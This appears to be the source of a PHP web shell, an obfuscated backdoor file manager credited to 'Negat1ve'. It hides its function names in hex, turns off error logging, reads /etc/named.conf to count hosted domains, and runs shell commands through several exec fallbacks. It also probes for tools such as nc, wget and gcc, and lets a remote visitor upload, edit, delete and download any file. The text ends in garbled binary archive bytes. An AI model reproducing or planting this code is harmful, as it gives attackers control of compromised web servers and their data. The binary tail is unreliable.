$func[$i] = dehex($func[$i]); } session_start(); $func[50](0); @$func[51](0); @$func[52](); @$func[43]('error_log', null); @$func[43]('log_errors',0); @$func[43]('max_execution_time',0); @$func[43]('output_buffering',0); @$func[43]('display_errors', 0); $func[53]("Asia/Jakarta"); if (isset($_GET['dir'])) { $dir = $_GET['dir']; $func[3]($dir); } else { $dir = $func[2](); } $d0mains = @$func[44]("/etc/named.conf", false); if (!$d0mains) { $dom = "<font class='text-danger'>Can't Read /etc/named.conf</font>"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@$func[43]($d0main, "zone")) { $func[32]('#zone "(.*)"#', $d0main, $domains); $func[54](); if ($func[55]($func[56]($domains[1][0])) > 2){ $func[54](); $count++; } } } $dom = "<font class='text-success'>$count Domain</font>"; } $dir = $func[45]("\\", "/", $dir); $scdir = $func[46]("/", $dir); $total = $func[29]($dir); $free = $func[30]($dir); $pers = (int) ($free / $total * 100); $ds = @$func[31]("disable_functions"); $show_ds = (!empty($ds)) ? "<font class='text-danger'>$ds</font>" : "<font class='text-success'>All function is accessible</font>"; $cmd_uname = exe("uname -a"); $uname = $func[49]('php_uname') ? $func[41](@$func[0](), 0, 120) : ($func[55]($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !'); if (strtolower($func[41](PHP_OS, 0, 3)) == "win") { $sys = "win"; } else { $sys = "unix"; } if (isset($_GET['do'])) { $do = $_GET['do']; if ($do == 'delete') { if ($func[12]($dir)) { if (deleter($dir)) { flash("File/Folder deleted successfully!", "Success", "success", "?dir=" . dirname($dir)); } else { flash("File/Folder failed to delete!", "Failed", "danger"); } } else { flash("File/Folder is doesn't exist!", "Failed", "warning"); } } else if ($do == 'download') { if ($func[12]($dir)) { header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $func[10]($dir)); header("Content-disposition: attachment; filename=\"".basename($dir)."\""); } else { flash("File is doesn't exist!", "Failed", "warning"); } } } else { $do = 'filesman'; $title = 'Files Manager'; $icon = 'archive'; } ((isset($_POST["foldername"])) ? ($func[12]("$dir/{$_POST['foldername']}") ? flash("Folder name is exist!", "Failed", "warning") : ($func[15]("$dir/{$_POST['foldername']}") ? flash("Folder created successfully!", "Success", "success") : flash("Folder failed to create!", "Failed", "danger"))) : null); ((isset($_POST["filename"]) && isset($_POST['filecontent'])) ? ($func[12]("$dir/{$_POST['filename']}") ? flash("File name is exist!", "Failed", "warning") : ($func[13]("$dir/{$_POST['filename']}", $_POST['filecontent']) ? flash("File created successfully!", "Success", "success") : flash("File failed to create!", "Failed", "danger"))) : null); ((isset($_POST["newname"]) && isset($_POST['oldname'])) ? ($func[12]("$dir/{$_POST['newname']}") ? flash("File/Folder name is exist!", "Failed", "warning") : ($func[16]("$dir/{$_POST['oldname']}", $_POST['newname']) ? flash("File/Folder renamed successfully!", "Success", "success") : flash("File/Folder failed to rename!", "Failed", "danger"))) : null); ((isset($_POST["filename"]) && isset($_POST['content'])) ? ($func[13]("$dir/{$_POST['filename']}", $_POST['content']) ? flash("File saved successfully!", "Success", "success") : flash("File failed to save!", "Failed", "danger")) : null); if (isset($_FILES["uploadfile"])) { $n = $_FILES["uploadfile"]["name"]; for ($i = 0; $i < count($n); $i++) { if ($func[11]($_FILES["uploadfile"]["tmp_name"][$i], $n[$i])) { flash("File uploaded successfully!", "Success", "success"); } else { flash("File failed to upload!", "Failed", "danger"); } } } if (@$func[31]('open_basedir')) { $basedir_data = @$func[31]('open_basedir'); if ($func[55]($basedir_data) > 120){ $open_b = "<font class='text-success'>" . $func[41]($basedir_data, 0, 120) . "...</font>"; } else { $open_b = '<font class="text-success">' . $basedir_data . '</font>'; } } else { $open_b = '<font class="text-warning">NONE</font>'; } if (!$func[49]('posix_getegid')) { $user = $func[49]("get_current_user") ? @$func[64]() : "????"; $uid = $func[49]("getmyuid") ? @$func[65]() : "????"; $gid = $func[49]("getmygid") ? @$func[66]() : "????"; $group = "?"; } else { $uid = $func[49]("posix_getpwuid") && $func[49]("posix_geteuid") ? @$func[33]($func[67]()) : ["name" => "????", "uid" => "????"]; $gid = $func[49]("posix_getgrgid") && $func[49]("posix_getegid") ? @$func[34]($func[68]()) : ["name" => "????", "gid" => "????"]; $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } if ($sys == 'unix') { if (!@$func[31]('safe_mode')) { if ($func[55](exe("id")) > 0) { $userful = ['gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl']; $x = 0; foreach ($userful as $i) { if (which($i)) { $x++; $useful .= $i . ', '; } } if ($x == 0) { $useful = '--------'; } $downloaders = ['wget','fetch','lynx','links','curl','get','lwp-mirror']; $x = 0; foreach($downloaders as $i) { if (which($i)) { $x++; $downloader .= $i . ', '; } } if ($x == 0) { $downloader = '--------'; } } } } function hex($str) { global $func; $r = ""; for ($i = 0; $i < $func[55]($str); $i++) { $r .= dechex(ord($str[$i])); } return $r; } function dehex($str) { $r = ""; $len = (strlen($str) - 1); for ($i = 0; $i < $len; $i += 2) { $r .= chr(hexdec($str[$i].$str[$i + 1])); } return $r; } function formatSize($bytes) { $types = array( 'B', 'KB', 'MB', 'GB', 'TB' ); for ( $i = 0; $bytes >= 1024 && $i < ( count( $types ) - 1 ); $bytes /= 1024, $i++ ); return( round( $bytes, 2 )." ".$types[$i] ); } function perms($file) { global $func; $perms = fileperms($file); if (($perms & 0xC000) == 0xC000){ $info = 's'; }elseif (($perms & 0xA000) == 0xA000){ $info = 'l'; }elseif (($perms & 0x8000) == 0x8000){ $info = '-'; }elseif (($perms & 0x6000) == 0x6000){ $info = 'b'; }elseif (($perms & 0x4000) == 0x4000){ $info = 'd'; }elseif (($perms & 0x2000) == 0x2000){ $info = 'c'; }elseif (($perms & 0x1000) == 0x1000){ $info = 'p'; }else{ $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $func[41](sprintf('%o', $perms), -4) . ' >> ' .$info; } function exe($in) { global $func; $out = ''; try { if ($func[49]('exec')) { @$func[23]($in, $out); $out = @join("\n", $out); } elseif ($func[49]('passthru')) { $func[48](); @passthru($in); $out = $func[27](); } elseif($func[49]('system')) { $func[48](); @system($in); $out = $func[27](); } elseif ($func[49]('shell_exec')) { $out = $func[25]($in); } elseif ($func[49]("popen") && $func[49]("pclose")) { if (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f, 1024); pclose($f); } } elseif ($func[49]('proc_open')) { $pipes = []; $process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null); $out = @stream_get_contents($pipes[1]); } elseif (class_exists('COM')) { $ws = new COM('WScript.shell'); $exec = $ws->exec('cmd.exe /c '.$in); $stdout = $exec->StdOut(); $out = $stdout->ReadAll(); } } catch(Exception $e) {} return $out; } function checkName($name) { global $func; if ($func[55]($name) > 18) { return $func[41]($name, 0, 18) . "..."; } return $name; } function checkPerm($dir, $perm) { global $func; $perm = explode('>>', $perm); if ($func[8]($dir)) { return "<font class='text-success'>".$perm[0]."</font> >> <font class='text-success'>".$perm[1]."</font>"; } elseif (!$func[9]($dir)) { return "<font class='text-danger'>".$perm[0]."</font> >> <font class='text-danger'>".$perm[1]."</font>"; } else { return "<font class='text-secondary'>".$perm[0]."</font> >> <font class='text-secondary'>".$perm[1]."</font>"; } } function getowner($item) { global $func; if ($func[49]("posix_getpwuid")) { $downer = @$func[33](fileowner($item)); $downer = $downer['name']; } else { $downer = fileowner($item); } if ($func[49]("posix_getgrgid")) { $dgrp = @$func[34](filegroup($item)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($item); } return $downer . '/' . $dgrp; } function geticon($file) { global $func; $ext = strtolower($func[35]($file, PATHINFO_EXTENSION)); if ($ext == 'php' || $ext == 'html' || $ext == 'js' || $ext == 'css' || $ext == 'py' || $ext == 'perl' || $ext == 'sh') { return 'file-code'; } else if ($ext == 'pdf') { return 'file-pdf'; } else if ($ext == 'txt') { return 'file-alt'; } else if ($ext == 'csv') { return 'file-csv'; } else if ($ext == 'jpg' || $ext == 'png' || $ext == 'jpeg' || $ext == 'gif') { return 'file-image'; } else if ($ext == 'mp4' || $ext == '3gp' || $ext == 'mkv') { return 'file-video'; } else if ($ext == 'docx' || $ext == 'doc' || $ext == 'docm') { return 'file-word'; } else if ($ext == 'ppt' || $ext == 'pptx') { return 'file-powerpoint'; } else if ($ext == 'xlsx' || $ext == 'xlsb' || $ext == 'xlsm' || $ext == 'xltx' || $ext == 'xltm') { return 'file-excel'; } else if ($ext == 'mp3' || $ext == 'wav') { return 'file-audio'; } else if ($ext == 'sql' || $ext == 'db') { return 'database'; } else if ($ext == 'zip' || $ext == 'tar' || $ext == 'gz' || $ext == 'tar.gz' || $ext == '7z' || $ext == 'bz2') { return 'file-archive'; } else { return 'file'; } } function which($p) { global $func; $path = exe('which ' . $p); if (!empty($path)) { return $func[55]($path); } return false; } function flash($message, $status, $class, $redirect = false) { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect) { header('Location: ' . $redirect); exit(); } return true; } function clear() { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } return true; } function deleter($d) { global $func; if (trim($func[35]($d, PATHINFO_BASENAME), '.') === '') { return false; }; if ($func[6]($d)) { array_map("deleter", glob($d . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); rmdir($d); return true; } else { unlink($d); return true; } return false; } $scandir = $func[21]($dir); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous"> <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/> <title><?= $shellName ?></title> </head> <body> <div class="container-lg"> <nav class="navbar navbar-light bg-light"> <div class="container-fluid"> <a class="navbar-brand" href="?"> <img src="<?= $logo ?>" alt="logo" width="30" height="24" class="d-inline-block align-text-top"> <?= $shellName ?> </a> </div> </nav> <?php if (isset($_SESSION['message'])) : ?> <div class="alert alert-<?= $_SESSION['class'] ?> alert-dismissible fade show my-3" role="alert"> <strong><?= $_SESSION['status'] ?>!</strong> <?= $_SESSION['message'] ?> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <?php endif; clear(); ?> <div id="tool"> <div class="d-flex justify-content-center flex-wrap my-3"> <a href="?" class="m-1 btn btn-outline-dark btn-sm"><i class="fa fa-home"></i> Home</a> <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#upload" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-upload"></i> Upload</a> <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#newfile" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-file-plus"></i> New File</a> <a class="m-1 btn btn-outline-dark btn-sm" data-bs-toggle="collapse" href="#newfolder" role="button" aria-expanded="false" aria-controls="collapseExample"><i class="fa fa-folder-plus"></i> New Folder</a> </div> <div class="row"> <div class="col-md-12"> <div class="collapse" id="upload" data-bs-parent="#tool"> <div class="card card-body border-dark mb-3"> <div class="row"> <div class="col-md-6"> <form action="" method="post" enctype="multipart/form-data"> <div class="input-group"> <input type="file" class="form-control" name="uploadfile[]" id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload"> <button class="btn btn-outline-dark" type="submit" id="inputGroupFileAddon04">Upload</button> </div> </form> </div> </div> </div> </div> </div> <div class="col-md-12"> <div class="collapse" id="newfile" data-bs-parent="#tool"> <div class="card card-body border-dark mb-3"> <div class="row"> <div class="col-md-6"> <form action="" method="post"> <div class="mb-3"> <label class="form-label">File Name</label> <input type="text" class="form-control" name="filename" placeholder="negat1ve.txt"> </div> <div class="mb-3"> <label class="form-label">File Content</label> <textarea class="form-control" rows="5" name="filecontent"></textarea> </div> <button type="submit" class="btn btn-outline-dark">Create</button> </form> </div> </div> </div> </div> </div> <div class="col-md-12"> <div class="collapse" id="newfolder" data-bs-parent="#tool"> <div class="card card-body border-dark mb-3"> <div class="row"> <div class="col-md-6"> <form action="" method="post"> <div class="mb-3"> <label class="form-label">Folder Name</label> <input type="text" class="form-control" name="foldername" placeholder="negat1ve"> </div> <button type="submit" class="btn btn-outline-dark">Create</button> </form> </div> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="card border-dark"> <div class="card-body"> <h5><i class="fas fa-angry"></i> Server Information </h5> <div class="table-responsive"> <table class="table table-hover text-nowrap"> <tr> <td>Operating System</td> <td> : <?= $uname ?></td> </tr> <tr> <td>PHP Version</td> <td> : <?= $func[1]() ?></td> </tr> <tr> <td>Storage</td> <td class="d-flex">: Total = <?= formatSize($total) ?>, Free = <?= formatSize($free) ?> [<?= $pers ?>%]</td> </tr> <tr> <td>Disable Functions</td> <td>: <?= $show_ds ?></td> </tr> <tr> <td colspan="2">CURL : <?= $func[49]('curl_version') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | SSH2 : <?= $func[49]('ssh2_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Magic Quotes : <?= $func[49]('get_magic_quotes_gpc') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | MySQL : <?= $func[49]('mysql_get_client_info') || class_exists('mysqli') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | MSSQL : <?= $func[49]('mssql_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | PostgreSQL : <?= $func[49]('pg_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Oracle : <?= $func[49]('oci_connect') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?></td> </tr> <tr> <td colspan="2">Safe Mode : <?= @$func[31]('safe_mode') ? '<font class="text-success">ON</font>' : '<font class="text-danger">OFF</font>' ?> | Open Basedir : <?= $open_b ?> | Safe Mode Exec Dir : <?= @$func[31]('safe_mode_exec_dir') ? '<font class="text-success">'. @$func[31]('safe_mode_exec_dir') .'</font>' : '<font class="text-warning">NONE</font>' ?> | Safe Mode Include Dir : <?= @$func[31]('safe_mode_include_dir') ? '<font class="text-success">'. @$func[31]('safe_mode_include_dir') .'</font>' : '<font class="text-warning">NONE</font>' ?></td> </tr> </table> </div> </div> </div> </div> <div class="col-md-12 my-3"> <div class="card border-dark"> <div class="card-body"> <h5><i class="fas fa-angry"></i> Path </h5> <nav aria-label="breadcrumb" style="--bs-breadcrumb-divider: '>';"> <ol class="breadcrumb"> <?php $numDir = count($scdir); foreach ($scdir as $id => $pat) { if ($pat == '' && $id == 0) { echo '<li class="breadcrumb-item"><a class="text-decoration-none text-dark" href="?dir=/">/</a></li>'; continue; } if ($pat == '') continue; if ($id + 1 == $numDir) { echo '<li class="breadcrumb-item active" aria-current="page">'.$pat.'</li>'; } else { echo '<li class="breadcrumb-item"><a class="text-decoration-none text-dark" href="?dir='; for ($i = 0; $i <= $id; $i++) { echo "$scdir[$i]"; if ($i != $id) echo "/"; } echo '">'.$pat.'</a></li>'; } } ?> </ol> </nav> [ <?= checkPerm($dir, perms($dir)) ?> ] </div> </div> </div> <div class="col-md-12" id="main"> <div class="card border-dark overflow-auto"> <div class="card-body"> <h5><i class="fa fa-<?= $icon ?>"></i> <?= $title ?></h5> <?php if ($do == 'view') : ?> <h1>Anjing</h1> <?php else: ?> <?php if ($func[9]($dir)) : ?> <div class="table-responsive"> <table class="table table-hover text-nowrap"> <thead> <tr> <th>Name</th> <th>Type</th> <th>Size</th> <th>Last Modified</th> <th>Owner/Group</th> <th>Permission</th> <th>Action</th> </tr> </thead> <tbody> <?php foreach ($scandir as $item) : if (!$func[6]($dir . '/' . $item)) continue; ?> <tr> <td> <?php if ($item === '..') : ?> <a href="?dir=<?= $func[28]($dir); ?>" class="text-decoration-none text-dark"><i class="fa fa-folder-open"></i> <?= $item ?></a> <?php elseif ($item === '.') : ?> <a href="?dir=<?= $dir; ?>" class="text-decoration-none text-dark"><i class="fa fa-folder-open"></i> <?= $item ?></a> <?php else : ?> <a href="?dir=<?= $dir . '/' . $item ?>" class="text-decoration-none text-dark"><i class="fa fa-folder"></i> <?= checkName($item); ?></a> <?php endif; ?> </td> <td><?= $func[38]($item) ?></td> <td class="align-middle">--</td> <td><?= $func[19]("Y-m-d h:i:s", $func[20]($item)); ?></td> <td><?= getowner($item) ?></td> <td><?= checkPerm($dir . '/' . $item, perms($dir . '/' . $item)) ?></td> <td> <button type="button" class="btn btn-outline-dark btn-sm mr-1" <?= $item === ".." || $item === "." ? '' : 'data-bs-toggle="modal" data-bs-target="#renameModal" data-bs-name="'.$item.'"' ?>><i class="fa fa-edit"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" <?= $item === ".." || $item === "." ? '' : 'data-bs-toggle="modal" data-bs-target="#deleteModal" data-bs-file="'.$dir . '/' . $item.'"'?>><i class="fa fa-trash-alt"></i></button> </td> </tr> <?php endforeach; ?> <?php foreach ($scandir as $item) : if (!$func[7]($dir . '/' . $item)) continue; ?> <tr> <td><a data-bs-toggle="modal" href="#viewModal" role="button" data-bs-name="<?= $item ?>" data-bs-content="<?= $func[18](@$func[14]($item)) ?>" class="text-dark text-decoration-none"><i class="fa fa-<?= geticon($item) ?>"></i> <?= checkName($item); ?></a></td> <td><?= checkName(($func[49]('mime_content_type') ? $func[63]($item) : $func[38]($item))) ?></td> <td><?= formatSize($func[10]($item)) ?></td> <td><?= $func[19]("Y-m-d h:i:s", $func[20]($item)); ?></td> <td><?= getowner($item) ?></td> <td><?= checkPerm($dir . '/' . $item, perms($dir . '/' . $item)) ?></td> <td> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#renameModal" data-bs-name="<?= $item ?>"><i class="fa fa-edit"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#viewModal" data-bs-name="<?= $item ?>" data-bs-content="<?= $func[18](@$func[14]($item)) ?>"><i class="fa fa-file-signature"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#downloadModal" data-bs-file="<?= $dir . '/' . $item ?>"><i class="fa fa-download"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#deleteModal" data-bs-file="<?= $dir . '/' . $item ?>"><i class="fa fa-trash-alt"></i></button> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php else: ?> <font class="text-danger">Can't read this directory!</font> <?php endif; ?> <?php endif; ?> </div> </div> </div> <div class="col-md-12 my-3"> <div class="card border-dark"> <div class="card-body"> Copyright negat1ve1337@gmail.com <span class="float-end">Coded by <span class="text-muted">Negat1ve</span></span> </div> </div> </div> </div> </div> <div class="modal fade" id="renameModal" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="renameModalLabel" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="renameModalLabel">Rename</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form method="post" id="rename-form"> <div class="modal-body"> <div class="mb-3"> <label for="newname" class="col-form-label">New Name:</label> <input type="text" class="form-control" name="newname" id="newname"> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <button type="submit" class="btn btn-primary">Rename</button> </div> </form> </div> </div> </div> <div class="modal fade" id="deleteModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalToggleLabel2">Delete</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> Are you sure want to delete this? </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <a href="" class="btn btn-danger" id="delete-confirm">Delete</a> </div> </div> </div> </div> <div class="modal fade" id="downloadModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalToggleLabel2">Download</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> Are you sure want to download this? </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <a href="" class="btn btn-danger" id="download-confirm">Download</a> </div> </div> </div> </div> <div class="modal fade" id="viewModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalToggleLabel2">View</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form action="" method="post"> <div class="modal-body"> <div class="mb-3"> <label for="content" class="col-form-label">Content:</label> <textarea class="form-control" id="content" rows="15" name="content"></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <button type="submit" class="btn btn-primary">Save</button> </div> </form> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script> <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script> <script> var renameModal = document.getElementById('renameModal') var deleteModal = document.getElementById('deleteModal') var viewModal = document.getElementById('viewModal') var downloadModal = document.getElementById('downloadModal') renameModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var name = button.getAttribute('data-bs-name') var modalTitle = renameModal.querySelector('.modal-title') var modalBodyInput = renameModal.querySelector('.modal-body input') var hiddenInput = document.createElement('input') hiddenInput.type = "hidden"; hiddenInput.value = name; hiddenInput.name = "oldname"; document.getElementById("rename-form").appendChild(hiddenInput); modalBodyInput.value = name }) deleteModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var file = button.getAttribute('data-bs-file') var deleteConfirm = document.getElementById('delete-confirm') deleteConfirm.href = '?dir=' + file + '&do=delete' }) downloadModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var file = button.getAttribute('data-bs-file') var downloadConfirm = document.getElementById('download-confirm') downloadConfirm.href = '?dir=' + file + '&do=download' }) viewModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var content = button.getAttribute('data-bs-content') var name = button.getAttribute('data-bs-name') var modalTitle = viewModal.querySelector('.modal-title') var modalContent = viewModal.querySelector('.modal-body textarea') var hiddenInput = document.createElement('input') hiddenInput.type = "hidden"; hiddenInput.value = name; hiddenInput.name = "filename"; viewModal.querySelector("form").appendChild(hiddenInput); modalTitle.textContent = 'Edit ' + name modalContent.value = content }) </script> </body> </html>PK !C�[�/P��} �} .thumb35363/index.phpnu �[��� PK U ~ .thumb35363.tar.gz 0000644 00000017365 15125140677 0007520 0 ustar 00 � �=kw�6���=��a�����/;��:���&q6v��M}|(��P�JR��m��� $���n�{���$03�� @���/���/��i�g�땖�Z���K���A� ��f�[�)�,�� ��ߣ�/�3�sw��W{�����6���W֜�}f��S+n�sv���}���i�U�8^D��MP_�ڍ��k5���.o�<n�C�k�skʣf���4_[���;���)Q�,}��3���ΰ՟�>h�A��f�t8�aw�;�8��P�t��A��Ao�;��ag��Z(�P.��@�� B�C�î(��~ ��C��� ���N��k�5�Z��;� w�z=��� �ao��� ,� ]�Z��wJh���5� ��~��`L��Y :�M��P�mh u�tAVlI�d��T@�.�q��DH�C�����6�a���(`�=���$,HٹBj�� ���K]T�����6�Hҷ73���]������!���y�uiK�'d; 0����^y� -p��#�jy0�d��J�ҢU) [�A����No[�����5��n/kI�AGؓfYɽ��#�����~D�j��J�?U� u��3Y Z��K1�K��Q�_}��� y�8��G���h�t�"��(!���6y����*}�� <�:E�쟜F�!Ƌ�T'��-��*�_ka��T�+�(`8B�<5�D�12.��ۓ1CI��-�>o)3�T0}⥣�i��N�2����Z?�K��8hM���6]HZ���cv��� /[Xt�����_mPɻM�`>㗵�dH}Bj�"7��01�k[j�z�o��Zx���o��;�5��=��<���Ls��K���C��D�v+_9�.�%��1��s^,��2>/'����q��g���XK ��ȵ��[@^��"��Vs���Ϟ��"�y�%�7�@��~�\ ���Nƽ�gPD* ��|8����*�{�S��vӇ<�i��mb1�C��(4�Q0��$�cf{V�1����Oyh�Y��7�rX��^�F��0C�dCdSp&�-{f�ص"&�Ȗ�vY ��1�!U���:0��f��2��~IPP�� �m��da�T] �M���}����5b�-�l�����]q��A_���3Z�68�9��yL-�:�4R���h���r�@�ulFvj�����Aly��즆�9 9Oj�-�f�C4%�^?�B-!d�Ibc햰~G3�.x�^b�=~�%�p�!��g\���xME��� @�Fؽ�Z<�<�Zd.X�����R`Þ;gK_��j����TUR��*z�a"���2�ζ l�v��L�4��B�{̬��6�bO���v�LcH�q�<��,�~����Z�*���.\ߐ��P�T��!�f黗��U�ũ@S��R�;X��{<F%,�lw�E)��*f+6&Ы����x�I�9<d�a��'�Ww��E^F����o����Sـ��T���&��:��,5� �JX�����N��"X���%�t�8G�� }g$I �`F�����s �� $�V�G`�0c�����ϵ-4�f`�\&�<W��Bˏ`��v� ��C�U��O�8'(^r��H�A�"K�_�p0��l�����0c+�i/6(���P�g�;7��|��`nm�H��G3xl!b/-��Du.zXe���=��Z�G���O�2��8�������5�#A��<�d �P�� �s�|ij�o܂ �q]�Ö�ة :N���*�+Q��P��[������%�W�Sʋ��rSUv�R�Ѷ��\���]�mt��J�B y�P��Q���g���F�ۤ�fC��Roq�n��˭���Ui[�u��-iTI�X��<qx��X.p�B��$o�)m( C$��)A����L9��r� ��|q&H�\��Ӝt�d������'U���.{PC�ң�<����g8��dPiQޟ9Vle��|���)���Y(f���@�br���of��Io��FC˳3zJ2���!cdbCA /H�p���Uf���աF#�=��T��l ��u�/#f�@����B|���dWp2���!l.]��?_Ai�_����Msx�"^,ؙ��~��D�Ņ�"TY5�q��)�`�#ҍ�H���Xi�i�TI#�p������^����%<�.�`$����×,U�D�3�R*�J�İ�� ��V2g'��}6�&�l8\Y[�giZ�bӬ1Y�@�!D�Ssj���ѷ�t�kn}��&���C���Y��E���Ol��=��"�8�cy��>`�"��9��'�jgC[�Q��B����P���k� ���< ��I�H���ǰ���LY�)�f �\�Ze$�������y1q���0&�h�c{�"��K��"�ᒔ%`��E}����k�n.z��Y�k�*�G�da�ja(M�`ly��ȶ��a���ژ�2#�& �p��C bܕ�{#��2��fx?ϓ\>N�Ҹ���$L���*X ����:��YX�V�Ä���`wY�Z|B{s+>v?t���Z1�a��6f����1�!����%}?�&K�f �D���Y���QDQj2b�<�Ͷ���ߦ^t�5��wjp�uL�a��h�~� 8�<��J�i�� :�J9j�[ֺ|�j�h5J^��p� M�#1�� �G<H��^5�N��SD�W#R�Aq\��K{ED���"v��v5b;El+�o��e .U�$��2T[�����$YIdlkG�^\���P�-ޑ�ED�|�ݫ:V�m�s�7��S&@�:�n$@�w}Z��.�#y�� ��N2��L�E��f�5��.D`k��{8)0�h_ b�r0��T�| �&X�#��7W�4�2w|���P2��`�J�~��z�#�}�>p���o�"UΑ^�d"��K3�����<��N����$'C���[�D1��u���g��GgY e�)�2�������^iO��B�Yȣ`�Х�4�R?b�D�-�1���$�Cv<�jgkK{�@���d�;��M���z�Sڍa`�!+���ߩ��` Jl+xd�a����6ص�ŷ��ƶqal���E[��f��Z3I�F�K��+��k��;��g����GG/5�.P �_0(���<�Cw7�L�&��ET�uʹ�N�X�ffC��(v�� \}t;G˸�3DU����S�H��A@�{xi���&&z���� ����-���fe�!�����w�. A�@�jŎZ�0����=��nM�D�L�j�h�"bnYf'��F2�v�AtN�\��z 